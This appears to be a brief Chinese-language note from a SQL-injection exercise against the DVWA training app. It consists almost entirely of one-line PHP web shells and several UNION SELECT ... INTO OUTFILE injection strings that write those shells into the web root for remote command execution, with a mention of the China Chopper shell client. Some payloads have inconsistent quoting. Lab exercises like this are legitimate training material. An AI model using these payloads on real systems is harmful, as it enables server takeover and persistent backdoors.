思路：上传一个“后门”，通过控制后门来得到shell，比如一句话***。比如：
<?system($_REQUEST['cmd']);?> //通过request提交，执行shell<?php@eval($_POST['chopper']);?>
//PHP一句话***，直接上菜刀
这里构造如下语句：
1'and 1=2 union select "<?",system($_REQUEST['cmd']);?>"
into outfile "d:\\xampp\\htdocs\\dvwa\\yy.php"#
1' and 1=2 union select 1,"<?system($_REQUEST['cmd']);?>" into outfile "f:\\xampp\\htdocs\\dvwa\\zzz.php"--
1' and 1=2 union select "<?","system($_REQUEST['cmd']);?>" into outfile "d:\\
xampp\\htdocs\\dvwa\\zzz.php"
<?php eval($_POST['888']);?>
1' and 1=2 union select 1,"<?php eval($_POST['888']);?>" into outfile "d:\\xampp\\htdocs\\dvwa\\yyy.php"#
